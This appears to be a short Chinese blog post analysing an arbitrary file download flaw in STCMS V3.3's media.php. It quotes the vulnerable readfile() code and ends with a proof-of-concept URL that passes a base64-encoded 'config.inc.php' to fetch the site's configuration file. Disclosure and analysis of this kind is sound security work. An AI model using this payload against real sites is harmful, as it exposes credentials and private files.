大家好,我是子↘仪,STCMS V3.3存在一个下载任意文件的漏洞,这个漏洞是我的好友可乐发现的,
我来做一下简单分析。

漏洞存在于media.php中。看关键代码:

if($id && $music=$mysql->selectOne('music', 'url,server', array('id'=>$id))){

此处省略。。。

}

else {

       $url = base64_decode($url);

       $url = preg_replace(array('/%3A/i','/%2F/i','/%3D/i','/%27/i','/%22/i', '/%2A/i'), array(':','/','=','\'','+'), rawurlencode($url));

       $fileName = basename($url);

       header("Content-type: application/octet-stream");

       header("Accept-Ranges: bytes");

       header("Accept-Length: 4");

       header("Content-Disposition: attachment; filename=$fileName");

       @readfile($url);

首先我们只要让程序执行else中的语句,这一步很简单,只要id的值不存在即可。然后我们继续看else中的代码,第一步对url中的值进行base64解码,然后一个正则,过滤掉url中的一些危险的字符。接着获取url这个值对应的网站路径。最后就是存在漏洞的代码了,header("Content-Disposition: attachment; filename=文件名\");这一句可以让用户下载指定的文件,readfile()用来读取文件内容,前面加一@,防止出现错误信息。那么最后两句摆在这里,就可以让我们任意下载文件了。

我再来说一下方法,首先构造url的值,比如下载config.inc.php,先将config.inc.php进行base64加密,因为程序接收参数后会对其解码。这时url后加上Y29uZmlnLmluYy5waHA=,就可以下载config.inc.php文件了。

POC : http://localhost/media.php?url=Y29uZmlnLmluYy5waHA=